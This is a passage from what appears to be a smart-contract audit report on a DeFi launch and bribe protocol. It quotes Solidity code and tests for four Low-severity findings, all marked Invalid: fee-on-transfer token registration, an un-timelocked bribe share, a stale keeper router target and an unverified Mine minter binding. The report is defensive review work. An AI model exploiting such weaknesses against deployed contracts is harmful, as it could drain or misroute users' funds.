#### Lines 238-250 — _Registration checks only deployed code, uniqueness, and the sixteen-token cap._

```
    /// @notice Appends a reward token to this Bribe's permanent registry.
    /// @dev Callable only by Resonance. The token must be a unique, nonzero contract and the resulting registry length
    ///      cannot exceed `MAX_REWARD_TOKENS`. Registration does not fund or start a stream.
    /// @param rewardToken ERC-20 contract address to register.
    function addRewardToken(address rewardToken) external onlyResonance {
        if (rewardToken == address(0) || rewardToken.code.length == 0) revert ZeroAddress();
        if (isRewardToken[rewardToken]) revert RewardAlreadyAdded(rewardToken);
        if (_rewardTokens.length == MAX_REWARD_TOKENS) revert RewardTokenLimitReached(MAX_REWARD_TOKENS);

        isRewardToken[rewardToken] = true;
        _rewardTokens.push(rewardToken);

        emit RewardTokenAdded(rewardToken);
```
⋯
#### Lines 324-335 — _Claims transfer the nominal recorded amount._

```
    /// @dev Clears and transfers one account's checkpointed whole-unit reward using checks-effects-interactions.
    /// @param account Entitled transfer recipient.
    /// @param rewardToken Reward token to transfer.
    /// @return amount Raw token units transferred, or zero when no checkpointed reward exists.
    function _claim(address account, address rewardToken) private returns (uint256 amount) {
        amount = rewards[account][rewardToken];
        if (amount == 0) return 0;

        rewards[account][rewardToken] = 0;
        IERC20(rewardToken).safeTransfer(account, amount);

        emit RewardPaid(account, rewardToken, amount);
```
### `Uploaded archive/packages/contracts/test/minimal/utils/Tokens.sol`
#### Lines 28-50 — _Test fee-on-transfer token sends value minus fee to the recipient and routes the fee to FEE_SINK._

```
/// @title FeeOnTransferToken
/// @notice Deflationary token that skims a configurable fee on every non-mint transfer.
/// @dev Used only as fail-closed evidence. The protocol specifies standard, non-rebasing ERC-20s.
contract FeeOnTransferToken is MockERC20 {
    address public constant FEE_SINK = address(0xFEE5);

    uint256 public feeBps;

    constructor(uint8 decimals_) MockERC20("Fee On Transfer", "FOT", decimals_) { }

    function setFeeBps(uint256 newFeeBps) external {
        feeBps = newFeeBps;
    }

    function _update(address from, address to, uint256 value) internal override {
        if (from == address(0) || to == address(0) || feeBps == 0) {
            super._update(from, to, value);
            return;
        }

        uint256 fee = (value * feeBps) / 10_000;
        super._update(from, to, value - fee);
        if (fee != 0) super._update(from, FEE_SINK, fee);
```
### `Uploaded archive/packages/contracts/src/core/Auction.sol`
#### Lines 213-227 — _Auction settlement assumes the payment token supports exact ERC-20 transferFrom behavior._

```
    function _settlePayment(
        IResonance configuredResonance,
        address buyer,
        uint256 paymentAmount,
        uint256 appliedBribeBps
    ) private {
        uint256 bribeAmount = Math.mulDiv(paymentAmount, appliedBribeBps, BPS);
        uint256 fundAmount = paymentAmount - bribeAmount;

        if (fundAmount != 0) paymentToken.safeTransferFrom(buyer, fund, fundAmount);
        if (bribeAmount == 0) return;

        address router = configuredResonance.bribeRouterFor(address(this));
        if (router == address(0)) revert ZeroAddress();
        paymentToken.safeTransferFrom(buyer, router, bribeAmount);
```
### `Uploaded archive/packages/contracts/src/core/BribeRouter.sol`
#### Lines 48-63 — _Router assumes payment token balance, approval, and Bribe pull semantics._

```
    /// @notice Routes the complete payment-token balance into the paired Bribe when funding qualifies.
    /// @dev Permissionless. Returns zero without changing state when the balance is zero, below `REWARD_DURATION` raw
    ///      units, or below the Bribe's remaining scheduled reward. Otherwise, approves the exact balance for the Bribe
    ///      to pull and restart its stream. A failure preserves the buffer. The full balance must fit the Bribe's
    ///      remaining lifetime capacity; the cap never resets and exhaustion permanently prevents new funding for that
    ///      token. Routing failure does not revert previously completed Auction purchases.
    /// @return amount Raw payment-token units routed, or zero when the buffer must continue accumulating.
    function route() external returns (uint256 amount) {
        amount = paymentToken.balanceOf(address(this));
        if (amount == 0 || amount < bribe.REWARD_DURATION() || amount < bribe.remainingReward(address(paymentToken))) {
            return 0;
        }

        paymentToken.forceApprove(address(bribe), amount);
        bribe.notifyReward(address(paymentToken), amount);

```
## Description

The protocol admits a payment or additional reward token based largely on the presence of bytecode, rather than restricting registration to tokens with the exact ERC-20 transfer behavior required by settlement and reward accounting. A registered payment token is used by `Auction` to pull payments and by `BribeRouter` to determine and route its token balance, while `Bribe` schedules rewards using the nominal `amount` supplied to `notifyReward`. Neither reward notification nor claims reconcile the transfer amount against the balance actually received by the Bribe or delivered to the claimant. Consequently, fee-on-transfer or successful no-op tokens can cause the Bribe to promise more rewards than it holds, and contracts that lack compatible ERC-20 methods can be registered before later payment or routing operations fail. Because the reward-token registry is append-only, an unsupported additional reward token remains associated with the strategy after registration.
## Root cause

Token registration accepts arbitrary code-bearing contracts, while `Auction`, `BribeRouter`, and `Bribe` assume exact ERC-20 transfer, balance, and approval semantics without enforcing that boundary or reconciling actual balance deltas.
## Impact

A fee-on-transfer reward token can divert part of funding while `rewardRate` and `lifetimeRewardNotified` reflect the larger nominal amount, causing reward claims to revert once custody is exhausted or allowing claimants to receive less after an outgoing transfer fee. An incompatible payment token can leave a live strategy unable to settle purchases or route its reward balance, while an incompatible appended reward token can break operations for that token and the convenience all-token claim path.

---

# Bribe-share changes take effect without notice
**#303381**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/FundController.sol`
#### Lines 130-133 — _Owner-only wrapper forwards the requested share without scheduling or delay._

```
    /// @notice Sets the Bribe share of Auction purchase payments; Fund receives the remainder.
    /// @dev Managed signaling permits only a zero Bribe share.
    function setBribeBps(uint256 newBribeBps) external onlyOwner {
        resonance.setBribeBps(newBribeBps);
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol`
#### Lines 398-410 — _The target validates bounds and manager mode, then immediately stores the new prospective share._

```
    /// @notice Sets the prospective paired-Bribe share for every later Auction purchase.
    /// @dev Callable only by the current owner. Community mode accepts values from zero through `MAX_BRIBE_BPS`;
    ///      manager-directed mode accepts only zero. Each Auction snapshots this value before token interaction, so
    ///      earlier and in-flight purchases and active Bribe reward streams are not repriced.
    /// @param newBribeBps New global share in basis points; nonzero values require community signaling.
    function setBribeBps(uint256 newBribeBps) external onlyOwner {
        if (newBribeBps > MAX_BRIBE_BPS) revert BribeBpsAboveMaximum(newBribeBps);
        if (signalManager != address(0) && newBribeBps != 0) revert ManagedFundBribeBpsNonzero(newBribeBps);

        uint256 previousBps = bribeBps;
        bribeBps = newBribeBps;

        emit BribeBpsSet(previousBps, newBribeBps);
```
### `Uploaded archive/packages/contracts/src/core/Auction.sol` (2 locations)
#### Lines 151-186 — _Auction snapshots the current split before settling and transfers the purchased revenue._ — _Auction snapshots the current share per purchase, then settles payment and transfers revenue; snapshotting does not defer later governance changes._ — _Each purchase reads the current share before token interactions and uses it for that purchase's settlement._

```
    /// @notice Purchases all released and directly held Auction USDG at the current declining price.
    /// @dev Anyone may buy. Captures the Bribe share before token calls and the released USDG balance before payment,
    ///      keeping payment separate from purchased revenue even when both use USDG. Split rounding favors Fund.
    ///      A fully decayed nonempty auction sells for zero payment and restarts at `minimumPrice`; an empty auction
    ///      cannot be filled. The caller's epoch, deadline, and maximum payment protect the purchase.
    /// @param revenueReceiver Address that receives the complete snapshotted USDG balance; need not equal the buyer.
    /// @param expectedEpochId Active epoch expected by the buyer, protecting against a prior fill.
    /// @param deadline Latest valid Unix timestamp; execution exactly at this timestamp is allowed.
    /// @param maximumPayment Maximum raw payment-token units authorized by the buyer.
    /// @return paymentAmount Actual raw payment-token units required at execution, possibly zero.
    function buy(address revenueReceiver, uint256 expectedEpochId, uint256 deadline, uint256 maximumPayment)
        external
        nonReentrant
        returns (uint256 paymentAmount)
    {
        if (revenueReceiver == address(0)) revert ZeroAddress();
        if (block.timestamp > deadline) revert DeadlinePassed(deadline);
        if (expectedEpochId != epochId) revert EpochIdMismatch(expectedEpochId, epochId);

        // Fix the split before token calls, including when the payment token is USDG.
        IResonance configuredResonance = IResonance(resonance);
        uint256 appliedBribeBps = configuredResonance.bribeBps();

        // Include USDG released through this timestamp, before collecting the purchase payment.
        configuredResonance.distributeRevenue(address(this));
        uint256 revenueAmount = usdg.balanceOf(address(this));
        if (revenueAmount == 0) revert EmptyRevenue();

        paymentAmount = currentPrice();
        if (paymentAmount > maximumPayment) revert MaximumPaymentExceeded(paymentAmount, maximumPayment);

        if (paymentAmount != 0) {
            _settlePayment(configuredResonance, msg.sender, paymentAmount, appliedBribeBps);
        }

        usdg.safeTransfer(revenueReceiver, revenueAmount);
```
⋯
#### Lines 206-228 — _Settlement divides each payment between Fund and the paired BribeRouter using the snapshot._ — _Settlement computes the floored Bribe amount and transfers the remainder to Fund._

```
    /// @notice Pulls one payment from the buyer directly into Fund and the paired BribeRouter.
    /// @dev Rounds the Bribe share down and sends the remainder to Fund. A zero Bribe share skips BribeRouter.
    ///      Rewards stay buffered there until a separate permissionless call to `BribeRouter.route`.
    /// @param configuredResonance Resonance used to resolve this Auction's paired BribeRouter.
    /// @param buyer Account paying the auction price through its allowance to this Auction.
    /// @param paymentAmount Total raw payment-token units paid by the buyer.
    /// @param appliedBribeBps Global Bribe share snapshotted before either token can invoke a callback.
    function _settlePayment(
        IResonance configuredResonance,
        address buyer,
        uint256 paymentAmount,
        uint256 appliedBribeBps
    ) private {
        uint256 bribeAmount = Math.mulDiv(paymentAmount, appliedBribeBps, BPS);
        uint256 fundAmount = paymentAmount - bribeAmount;

        if (fundAmount != 0) paymentToken.safeTransferFrom(buyer, fund, fundAmount);
        if (bribeAmount == 0) return;

        address router = configuredResonance.bribeRouterFor(address(this));
        if (router == address(0)) revert ZeroAddress();
        paymentToken.safeTransferFrom(buyer, router, bribeAmount);
    }
```
### `Uploaded archive/packages/contracts/test/minimal/BribeBps.t.sol` (2 locations)
#### Lines 92-117 — _Tests demonstrate immediate prospective effects for 0%, 5%, and 20% settings and the resulting Fund/router balances._

```
    function test_FourCompletedAuctionsUseTenZeroFiveAndTwentyPercentProspectively() external {
        uint256 firstPayment = _fillTargetAuction(ALICE);
        assertEq(firstPayment, 10 ether);
        _assertTargetBalances(9 ether, 1 ether);

        resonance.setBribeBps(0);
        uint256 secondPayment = _fillTargetAuction(BOB);
        assertEq(secondPayment, 15 ether);
        _assertTargetBalances(24 ether, 1 ether);

        resonance.setBribeBps(500);
        uint256 thirdPayment = _fillTargetAuction(CAROL);
        assertEq(thirdPayment, 22.5 ether);
        _assertTargetBalances(45.375 ether, 2.125 ether);

        resonance.setBribeBps(2_000);
        uint256 fourthPayment = _fillTargetAuction(DAVE);
        assertEq(fourthPayment, 33.75 ether);
        _assertTargetBalances(72.375 ether, 8.875 ether);

        resonance.setBribeBps(0);
        assertEq(targetRouter.route(), 8.875 ether);
        assertEq(target.balanceOf(address(fund)), 72.375 ether);
        assertEq(target.balanceOf(address(targetRouter)), 0);
        assertEq(target.balanceOf(address(targetBribe)), 8.875 ether);
    }
```
⋯
#### Lines 141-161 — _Tests verify prospective behavior and preservation of buffered/active rewards, but no activation delay._

```
    function test_ChangingPolicyCannotRepriceAnOldBufferedShareOrInterruptItsStream() external {
        _signalDefault(ALICE, 100 ether);
        uint256 firstPayment = _fillTargetAuction(BOB);
        assertEq(firstPayment, 10 ether);
        _assertTargetBalances(9 ether, 1 ether);

        resonance.setBribeBps(0);
        uint256 secondPayment = _fillTargetAuction(CAROL);
        assertEq(secondPayment, 15 ether);
        _assertTargetBalances(24 ether, 1 ether);

        assertEq(targetRouter.route(), 1 ether, "the pre-change buffered share stays distributable");
        assertEq(targetBribe.lifetimeRewardNotified(address(target)), 1 ether);

        vm.warp(block.timestamp + 1 days);
        uint256 releasedAfterOneDay = 1 days * (uint256(1 ether) / targetBribe.REWARD_DURATION());
        assertEq(targetBribe.earned(ALICE, address(target)), releasedAfterOneDay);

        resonance.setBribeBps(500);
        resonance.setBribeBps(2_000);
        assertEq(targetBribe.earned(ALICE, address(target)), releasedAfterOneDay, "policy changes do not checkpoint");
```
## Description

The owner-controlled `setBribeBps` path updates the global Auction payment-share configuration immediately rather than staging it for a future activation time. `FundController.setBribeBps` directly forwards the controller owner's requested value to `Resonance.setBribeBps`, which validates the range and managed-mode restriction but then directly overwrites `bribeBps`. Each `Auction.buy` snapshots that live value before settlement, and `_settlePayment` uses it to divide the buyer's payment between the Fund and paired `BribeRouter`. Consequently, a change can take effect for the next purchase, including one placed immediately after the owner transaction, despite existing buffered rewards, active streams, and an already executing purchase remaining unaffected. The tests also demonstrate that successive changes to `0`, `500`, and `2_000` basis points alter subsequent purchase allocations prospectively.
## Root cause

`setBribeBps` directly writes `bribeBps` through an owner-controlled forwarding path without a pending value, activation timestamp, or timelock.
## Impact

A compromised, mistaken, or unexpectedly changed administrative owner can change the allocation of subsequent Auction payments without an observation period, directing up to `20%` of each payment to the paired `BribeRouter` or stopping new bribe funding with `0`. Buyers, the Fund, and bribe recipients cannot react to the new economic policy before it becomes effective, although prior settlements and existing reward streams are not repriced.

---

# Revenue maintenance targets the stale router after migration
**#303382**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/periphery/OperationsPeriphery.sol` (2 locations)
#### Lines 55-72 — _Revenue maintenance is dispatched using record.resonanceRouter._ — _run loads the launch record and starts Revenue using record.resonanceRouter._

```
    /// @notice Routes revenue, distributes strategy accruals, routes rewards, releases specified payments and optionally burns.
    /// @param burnAmount Exact maximum reviewed Fund-held Coin amount; zero excludes burning. Never burns newly arrived excess.
    function run(
        uint256 launchId,
        address[] calldata strategies,
        address[] calldata beneficiaries,
        uint256 burnAmount,
        uint256 deadline
    ) external nonReentrant returns (uint256 completed, uint256 failed) {
        if (block.timestamp > deadline) revert DeadlinePassed();
        _validateList(strategies);
        _validateList(beneficiaries);
        Launchpad.LaunchRecord memory record = launchpad.getLaunch(launchId);
        Resonance resonance = Resonance(record.resonance);
        for (uint256 i; i < strategies.length; ++i) {
            if (!resonance.isStrategyRegistered(strategies[i])) revert InvalidInput();
        }
        (completed, failed) = _attempt(record, Kind.Revenue, record.resonanceRouter, 0);
```
⋯
#### Lines 94-107 — _Revenue checks and route invocation use only the historical router._ — _perform checks and routes only the historical record.resonanceRouter balance._

```
    /// @dev Self-only isolated call. All targets derive from the validated launch graph or registered strategy.
    function perform(Launchpad.LaunchRecord calldata record, Kind kind, address target, uint256 burnAmount)
        external
        returns (uint256 amount)
    {
        if (msg.sender != address(this)) revert OnlySelf();
        Resonance resonance = Resonance(record.resonance);
        if (kind == Kind.Revenue) {
            uint256 pending = launchpad.usdg().balanceOf(record.resonanceRouter);
            if (
                resonance.totalSignalWeight() == 0 || pending < resonance.REWARD_DURATION()
                    || pending < resonance.remainingRevenue()
            ) return 0;
            return ResonanceRouter(record.resonanceRouter).route();
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (2 locations)
#### Lines 234-243 — _Mine supports mutable future revenue-router migration._ — _Mine owner can replace the mutable revenueRouter._

```
    /// @notice Replaces the destination for future mining revenue without migrating existing protocol state.
    /// @dev The destination must contain deployed code. It may be a replacement router or the canonical Fund.
    ///      No callback or interface probe is made to either destination; code presence does not prove compatibility.
    /// @param newRouter Contract receiving the remainder of future mining payments.
    function setRevenueRouter(address newRouter) external onlyOwner {
        if (newRouter == address(0) || newRouter.code.length == 0) revert ZeroAddress();
        address previousRouter = revenueRouter;
        revenueRouter = newRouter;
        emit RevenueRouterSet(previousRouter, newRouter);
    }
```
⋯
#### Lines 278-305 — _Later mining payments snapshot the migrated router._ — _Paid mining snapshots the current mutable revenueRouter into PaymentConfig._

```
        PaymentConfig memory fees;
        if (paymentAmount != 0) {
            fees = PaymentConfig({
                creator: creatorFeeRecipient,
                protocol: launchpad.protocolFeeRecipient(),
                creatorBps: creatorFeeBps,
                protocolBps: launchpad.protocolFeeBps(),
                revenue: revenueRouter
            });
        }

        _settleSlot(previousSlot);

        uint256 revenueAmount = _allocatePayment(previousSlot.miner, fees, expectedEpochId, paymentAmount);
        Slot memory nextSlot = Slot({
            epochId: expectedEpochId + 1,
            initialPrice: _nextInitialPrice(paymentAmount),
            auctionStartedAt: block.timestamp,
            tps: _globalTps(),
            miner: miner,
            message: message
        });

        _slot = nextSlot;

        if (paymentAmount != 0) {
            _collectAndDeposit(msg.sender, fees.revenue, expectedEpochId, paymentAmount, revenueAmount);
        }
```
### `Uploaded archive/packages/contracts/test/minimal/RevenueRouter.t.sol` (2 locations)
#### Lines 76-100 — _Test demonstrates that future paid mining uses the new router while the old router retains its historical balance._

```
    function test_FuturePaidMiningUsesNewRouterAndExistingMinerClaimsRemainClaimable() external {
        _paidMine(ALICE);
        vm.warp(block.timestamp + 10);
        _paidMine(BOB);
        uint256 oldRouterBalance = usdg.balanceOf(address(resonanceRouter));
        uint256 aliceClaim = mine.claimablePayment(ALICE);
        uint256 totalClaims = mine.totalClaimablePayments();
        uint256 mineBalance = usdg.balanceOf(address(mine));
        assertGt(oldRouterBalance, 0);
        assertGt(aliceClaim, 0);
        assertEq(totalClaims, mineBalance);

        _switch();
        assertEq(usdg.balanceOf(address(resonanceRouter)), oldRouterBalance);
        assertEq(mine.claimablePayment(ALICE), aliceClaim);
        assertEq(mine.totalClaimablePayments(), totalClaims);
        assertEq(usdg.balanceOf(address(mine)), mineBalance);
        assertEq(usdg.balanceOf(address(nextRouter)), 0);

        vm.warp(block.timestamp + 10);
        uint256 price = _paidMine(CAROL);
        uint256 outgoingClaim = Math.mulDiv(price, mine.PREVIOUS_MINER_BPS(), mine.BPS());
        assertEq(usdg.balanceOf(address(nextRouter)), price - outgoingClaim);
        assertEq(usdg.balanceOf(address(resonanceRouter)), oldRouterBalance);
        assertEq(mine.claimablePayment(ALICE), aliceClaim);
```
⋯
#### Lines 88-102 — _Migration evidence: after switching, new payment revenue reaches the replacement router and not the historical router._

```
        _switch();
        assertEq(usdg.balanceOf(address(resonanceRouter)), oldRouterBalance);
        assertEq(mine.claimablePayment(ALICE), aliceClaim);
        assertEq(mine.totalClaimablePayments(), totalClaims);
        assertEq(usdg.balanceOf(address(mine)), mineBalance);
        assertEq(usdg.balanceOf(address(nextRouter)), 0);

        vm.warp(block.timestamp + 10);
        uint256 price = _paidMine(CAROL);
        uint256 outgoingClaim = Math.mulDiv(price, mine.PREVIOUS_MINER_BPS(), mine.BPS());
        assertEq(usdg.balanceOf(address(nextRouter)), price - outgoingClaim);
        assertEq(usdg.balanceOf(address(resonanceRouter)), oldRouterBalance);
        assertEq(mine.claimablePayment(ALICE), aliceClaim);
        assertEq(mine.claimablePayment(BOB), outgoingClaim);
        assertEq(usdg.balanceOf(address(mine)), mine.totalClaimablePayments());
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 64-74 — _LaunchRecord permanently stores the original ResonanceRouter address._

```
    struct LaunchRecord {
        uint256 launchId;
        uint256 creatorNonce;
        address originalCreator;
        address controller;
        address coin;
        address fund;
        address signalCoin;
        address resonance;
        address resonanceRouter;
        address mine;
```
## Description

`OperationsPeriphery` dispatches revenue maintenance using `record.resonanceRouter` and, during `perform`, both checks the USDG balance of and invokes `route()` on that historical address. In contrast, `Mine.setRevenueRouter` permits the owner to replace `revenueRouter` for future mining payments. `Mine.mine` copies the current `revenueRouter` into `PaymentConfig` and subsequently deposits the allocated revenue to that destination. Consequently, once a router migration occurs, newly accrued revenue accumulates at the replacement router while keeper calls continue processing only the old router. The migration test confirms that post-switch paid mining credits the new router and leaves the historical router balance unchanged.
## Root cause

`OperationsPeriphery` resolves revenue processing from the historical `LaunchRecord.resonanceRouter` rather than the mutable current `Mine.revenueRouter` destination.
## Impact

After a supported router migration, the advertised keeper maintenance path does not route newly deposited mining revenue into the active routing graph. Revenue remains buffered at the replacement router until an actor invokes that router separately, delaying strategy revenue distribution and creating an operational liveness gap.

---

# Unverified Mine binding controls minting and Fund redemption
**#303383**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (5 locations)
#### Lines 200-232 — _Constructor validates only code presence for every deployer/factory dependency_ — _Launchpad stores injected deployers after only `_requireContract`/decimals checks._ — _Launchpad stores constructor-supplied deployer dependencies after only `_requireContract` code-presence checks._

```
    /// @notice Binds verified stateless deployers, the pool factory, USDG and mining fee administration.
    constructor(
        IERC20Metadata usdg_,
        LaunchDeployers memory deployers_,
        FullRangeFactory poolFactory_,
        address initialOwner,
        address initialProtocolFeeRecipient
    ) Ownable(initialOwner) {
        _requireContract(address(usdg_));
        _requireContract(address(poolFactory_));
        _requireContract(address(deployers_.coinDeployer));
        _requireContract(address(deployers_.fundDeployer));
        _requireContract(address(deployers_.signalDeployer));
        _requireContract(address(deployers_.mineDeployer));
        _requireContract(address(deployers_.resonanceDeployer));
        _requireContract(address(deployers_.routerDeployer));
        _requireContract(address(deployers_.controllerDeployer));
        _requireContract(address(deployers_.bribeFactory));
        _requireContract(address(deployers_.auctionFactory));
        if (usdg_.decimals() != 6) revert InvalidLaunchConfig();
        usdg = usdg_;
        poolFactory = poolFactory_;
        coinDeployer = deployers_.coinDeployer;
        fundDeployer = deployers_.fundDeployer;
        signalDeployer = deployers_.signalDeployer;
        mineDeployer = deployers_.mineDeployer;
        resonanceDeployer = deployers_.resonanceDeployer;
        routerDeployer = deployers_.routerDeployer;
        controllerDeployer = deployers_.controllerDeployer;
        bribeFactory = deployers_.bribeFactory;
        auctionFactory = deployers_.auctionFactory;
        protocolFeeRecipient = initialProtocolFeeRecipient;
    }
```
⋯
#### Lines 260-267 — _The unvalidated controller-deployer return address is used to complete the graph._

```
        result.controller = address(
            controllerDeployer.deploy(
                result.originalCreator, result.coin, Mine(result.mine), Resonance(result.resonance)
            )
        );
        _addStrategies(result, config);
        _grantCreator(result);
        _completeOwnership(result);
```
⋯
#### Lines 303-341 — _Launch uses the supplied CoinDeployer and MineDeployer and accepts the returned Mine address without graph validation._ — _The unvalidated router/Mine-deployer return address is wired into the graph and setup calls._ — _`r.mine` is returned by the injected MineDeployer and used during setup._

```
    function _deployCore(
        LaunchRecord memory r,
        string calldata name,
        string calldata symbol,
        string calldata metadataURI,
        address creatorFeeRecipient,
        address signalManager,
        uint256 creatorFeeBps
    ) private {
        _deployCoinAndSignal(r, name, symbol);
        r.resonance = address(
            resonanceDeployer.deploy(
                IERC20(r.signalCoin), IERC20(address(usdg)), r.fund, bribeFactory, auctionFactory, signalManager
            )
        );
        _deployAdministration(r, metadataURI, creatorFeeRecipient, creatorFeeBps);
    }

    function _deployCoinAndSignal(LaunchRecord memory r, string calldata name, string calldata symbol) private {
        r.coin = address(coinDeployer.deploy(name, symbol, r.originalCreator, r.creatorNonce));
        r.fund = address(fundDeployer.deploy(r.coin));
        r.signalCoin =
            address(signalDeployer.deploy(IERC20(r.coin), string.concat("Signal ", name), string.concat("s", symbol)));
    }

    function _deployAdministration(
        LaunchRecord memory r,
        string calldata metadataURI,
        address creatorFeeRecipient,
        uint256 creatorFeeBps
    ) private {
        r.resonanceRouter = address(routerDeployer.deploy(IERC20(address(usdg)), Resonance(r.resonance)));
        Mine mine = mineDeployer.deploy(Coin(r.coin), IERC20(address(usdg)), r.fund, r.resonanceRouter);
        r.mine = address(mine);
        Coin(r.coin).setTokenURI(metadataURI);
        mine.setCreatorFeeBps(creatorFeeBps);
        mine.setCreatorFeeRecipient(creatorFeeRecipient);
        SignalCoin(r.signalCoin).setResonance(r.resonance);
        Resonance(r.resonance).setResonanceRouter(r.resonanceRouter);
```
⋯
#### Lines 328-342 — __deployAdministration trusts the MineDeployer-returned address as r.mine_

```
    function _deployAdministration(
        LaunchRecord memory r,
        string calldata metadataURI,
        address creatorFeeRecipient,
        uint256 creatorFeeBps
    ) private {
        r.resonanceRouter = address(routerDeployer.deploy(IERC20(address(usdg)), Resonance(r.resonance)));
        Mine mine = mineDeployer.deploy(Coin(r.coin), IERC20(address(usdg)), r.fund, r.resonanceRouter);
        r.mine = address(mine);
        Coin(r.coin).setTokenURI(metadataURI);
        mine.setCreatorFeeBps(creatorFeeBps);
        mine.setCreatorFeeRecipient(creatorFeeRecipient);
        SignalCoin(r.signalCoin).setResonance(r.resonance);
        Resonance(r.resonance).setResonanceRouter(r.resonanceRouter);
    }
```
⋯
#### Lines 389-414 — _Creator minting is followed by permanent minter binding and ownership transfers to returned addresses._ — _The returned address is irreversibly installed as Coin's minter._ — __grantCreator permanently binds Coin minter to r.mine_

```
    /// @dev Issues the optional creator grant, then permanently assigns all future Coin minting to Mine.
    function _grantCreator(LaunchRecord memory r) private {
        SignalCoin signal = SignalCoin(r.signalCoin);
        uint256 amount = r.creatorCoinAmount;
        if (amount != 0) {
            if (r.autoSignalCreator) {
                Coin(r.coin).mint(address(this), amount);
                IERC20(r.coin).forceApprove(r.signalCoin, amount);
                signal.initializeCreatorSignal(r.originalCreator, r.auctions[2], amount);
                IERC20(r.coin).forceApprove(r.signalCoin, 0);
            } else {
                Coin(r.coin).mint(r.originalCreator, amount);
            }
        }
        // Close launch-time minting even when the creator grant is zero.
        Coin(r.coin).setMinter(r.mine);
    }

    /// @dev Disables SignalCoin setup and hands component administration to the creator-owned controller.
    function _completeOwnership(LaunchRecord memory r) private {
        SignalCoin(r.signalCoin).renounceOwnership();
        Coin(r.coin).transferOwnership(r.controller);
        Mine(r.mine).transferOwnership(r.controller);
        Resonance(r.resonance).transferOwnership(r.controller);
        FullRangeERC20(r.pool).transferOwnership(r.controller);
    }
```
### `Uploaded archive/packages/contracts/src/core/Coin.sol`
#### Lines 94-123 — _The permanent minter handoff and later mint authorization require only caller equality and target code presence._ — _Coin.setMinter locks any deployed-code address without verifying it is the canonical Mine._ — _setMinter validates only code.length, not identity/interface_ — _The permanently selected minter can call Coin.mint._

```
    /// @notice Permanently assigns mint authority to the canonical Mine.
    /// @dev Callable only by the current `minter` while unlocked. `newMinter` must contain deployed code.
    ///      Sets `minterLocked` forever; burns cannot reopen the handoff.
    /// @param newMinter Canonical Mine contract that will become the sole lifetime mint caller.
    function setMinter(address newMinter) external {
        if (msg.sender != minter) revert NotMinter(msg.sender);
        if (minterLocked) revert MinterAlreadyLocked();
        if (newMinter == address(0)) revert ZeroAddress();
        if (newMinter == minter) revert SameMinter();
        if (newMinter.code.length == 0) revert AddressHasNoCode(newMinter);

        address previousMinter = minter;
        minter = newMinter;
        minterLocked = true;
        emit MinterSet(previousMinter, newMinter);
    }

    /// @notice Mints Coin through the current setup authority or permanently selected Mine.
    /// @dev Callable only by `minter`. Increases both total supply and the monotonic lifetime-minted count.
    /// @param account Nonzero account receiving the newly issued Coin.
    /// @param amount Nonzero raw Coin amount to mint.
    function mint(address account, uint256 amount) external override {
        if (msg.sender != minter) revert NotMinter(msg.sender);
        if (account == address(0)) revert ZeroAddress();
        if (amount == 0) revert ZeroAmount();

        lifetimeMinted += amount;
        _mint(account, amount);
        emit Minted(account, amount);
    }
```
### `Uploaded archive/packages/contracts/src/core/Fund.sol` (3 locations)
#### Lines 61-66 — _Fund validates only that the supplied Coin address is nonzero and has code._

```
    /// @notice Creates the ownerless, registry-free treasury backing `coin_`.
    /// @param coin_ Nonzero deployed Coin token backed by this Fund.
    constructor(address coin_) {
        if (coin_ == address(0) || coin_.code.length == 0) revert ForbiddenToken(coin_);
        coin = ICoin(coin_);
    }
```
⋯
#### Lines 111-126 — _Fund reads the dynamic minter as IMine and uses its return value directly as the payout denominator._ — _Fund redemption trusts `coin.minter()` as an `IMine` for effective supply._

```
        // Pending mining emission is economically issued even though it is minted only when the active tenure ends.
        // Include Mine's direct pending-emission view without mutating Mine.
        uint256 supplyBeforeBurn = IMine(coin.minter()).effectiveTotalSupply();
        uint256[] memory payouts = new uint256[](tokenCount);
        address previous;

        // Snapshot every selected balance before collecting and burning Coin.
        for (uint256 i; i < tokenCount; ++i) {
            address token = tokens[i];
            if (token == address(0) || token == address(coin)) revert ForbiddenToken(token);
            if (uint160(token) <= uint160(previous)) revert InvalidTokenOrder(previous, token);
            previous = token;
            uint256 balance = IERC20(token).balanceOf(address(this));
            payouts[i] = Math.mulDiv(balance, coinAmount, supplyBeforeBurn);
            if (payouts[i] < minimumAmounts[i]) {
                revert MinimumAmountNotMet(token, payouts[i], minimumAmounts[i]);
```
⋯
#### Lines 130-140 — _The denominator-derived payouts are followed by Coin collection/burn and asset transfers, completing the loss path._

```
        IERC20(address(coin)).safeTransferFrom(msg.sender, address(this), coinAmount);
        coin.burn(coinAmount);

        for (uint256 i; i < tokenCount; ++i) {
            address token = tokens[i];
            uint256 payout = payouts[i];
            if (payout != 0) IERC20(token).safeTransfer(receiver, payout);
            emit AssetRedeemed(msg.sender, receiver, token, payout);
        }

        emit Redeemed(msg.sender, receiver, coinAmount, tokenCount);
```
### `Uploaded archive/packages/contracts/src/launch/MineDeployer.sol`
#### Lines 9-20 — _The externally bound MineDeployer supplies the Mine instance and passes its caller as initial owner._

```
/// @notice Deploys Mine contracts without retaining ownership or mutable state.
contract MineDeployer {
    /// @notice Deploys a Mine with the caller as initial owner and permanent fee source.
    /// @dev The caller must expose `protocolFeeRecipient()` and `protocolFeeBps()` for paid mining.
    /// @param coin Coin minted as mining emission.
    /// @param usdg Token used to pay for the mining slot.
    /// @param fund Fund forbidden from becoming a mining beneficiary.
    /// @param resonanceRouter Initial destination for mining revenue; the Mine owner may replace it for future payments.
    /// @return mine Newly deployed Mine.
    function deploy(Coin coin, IERC20 usdg, address fund, address resonanceRouter) external returns (Mine mine) {
        mine = new Mine(address(coin), usdg, fund, resonanceRouter, msg.sender);
    }
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol`
#### Lines 188-212 — _Canonical Mine constructor records the supplied dependencies, but Launchpad does not verify the returned instance's bindings._

```
    /// @notice Creates the mining market with one empty slot and an initial revenue destination.
    /// @dev Requires the token, Fund, and router dependencies to contain deployed code. The initial owner remains the
    ///      immutable fee source. In canonical launches, Launchpad binds Coin mint authority and the router graph,
    ///      then transfers ownership to FundController.
    ///      Later ownership transfers take effect immediately.
